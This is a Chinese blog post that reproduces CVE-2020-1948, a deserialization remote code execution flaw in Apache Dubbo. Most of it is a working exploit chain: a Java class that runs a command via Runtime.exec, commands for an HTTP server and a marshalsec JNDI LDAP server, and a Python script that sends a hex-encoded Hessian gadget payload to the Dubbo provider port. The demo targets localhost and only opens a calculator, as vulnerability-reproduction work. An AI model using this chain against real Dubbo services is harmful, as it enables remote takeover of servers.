vlambda博客
学习文章列表

Apache dubbo(CVE-2020-1948)漏洞复现记录


Apache DubboProvider默认反序列化远程代码执行漏洞(CVE-2020-1948)会影响所有使用2.7.6或更低版本的Dubbo用户,攻击者可以发送带有无法识别的服务名或方法名的RPC远程方法请求,以及一些恶意的参数负载。当恶意参数被反序列化时,它将执行一些恶意代码,进而执行恶意命令,非法控制系统,以下为漏洞复现记录。

  1. 运行dubbo demo:



2.编译exp:

public class ExploitMac{

        public  ExploitMac()

                 {

                 try

                         {

                         java.lang.Runtime.getRuntime().exec("calc");

                         }

                         catch(java.io.IOException  e)

                         {

                         e.printStackTrace();

                         }

                         }

                         }

这里执行命令calc弹出计算器:

Apache dubbo(CVE-2020-1948)漏洞复现记录



编译javac ExploitMac.java

Apache dubbo(CVE-2020-1948)漏洞复现记录


3.exp开启http服务:

python3-m http.server 8088

Apache dubbo(CVE-2020-1948)漏洞复现记录


4. 开启LDAP服务

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8088/#ExploitMac 8087


https://github.com/mbechler/marshalsec

5.构造执行payload

import socket

import time

import re

 

def sendEvilObjData(sock): 

     payload="dabbc2000000000000000000000003b705322e302e3230366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f5365727669636505312e302e300a636f6d6d6f6e54657374124c6a6176612f6c616e672f4f626a6563743b48433027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e92036f626a096265616e436c61737360433029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e92036f626a096265616e436c61737361431d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cac06706172616d73096c697374656e657273036d61700a6368617253747265616d0b617363696953747265616d0d756e69636f646553747265616d0c62696e61727953747265616d0f7374724d61746368436f6c756d6e730d694d61746368436f6c756d6e73057265734d4406726f77734d4402727302707304636f6e6e09666574636853697a650866657463684469720969736f6c6174696f6e1065736361706550726f63657373696e6708726561644f6e6c790b636f6e63757272656e63790c6d61784669656c6453697a65076d6178526f77730c717565727954696d656f75740b73686f7744656c657465640a726f77536574547970650a64617461536f757263650355524c07636f6d6d616e64624d136a6176612e7574696c2e486173687461626c655a4e4e4e4e4e4e56106a6176612e7574696c2e566563746f729a03666f6f4e4e4e4e4e4e4e4e4e56919a8f8f8f8f8f8f8f8f8f8f4e4e4e4e4e90cbe8925454cbf090909046cbec1d6c6461703a2f2f3132372e302e302e313a383038372f4578706c6f69744e4e430f6a6176612e6c616e672e436c61737391046e616d65631d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c633029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e5191519151915a48047061746830366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963651272656d6f74652e6170706c69636174696f6e3024647562626f2d6175746f2d636f6e6669677572652d636f6e73756d65722d73616d706c6509696e7465726661636530366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963650776657273696f6e05312e302e305a"

 

     sock.send(payload.decode('hex'))

def run(dip,dport):

     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

     server_addr = (dip, dport)

     sock.connect(server_addr)

     sendEvilObjData(sock)

 

run("127.0.0.1",12345)

其中run传入IP和dubbo的provider端口:

成功弹出计算器。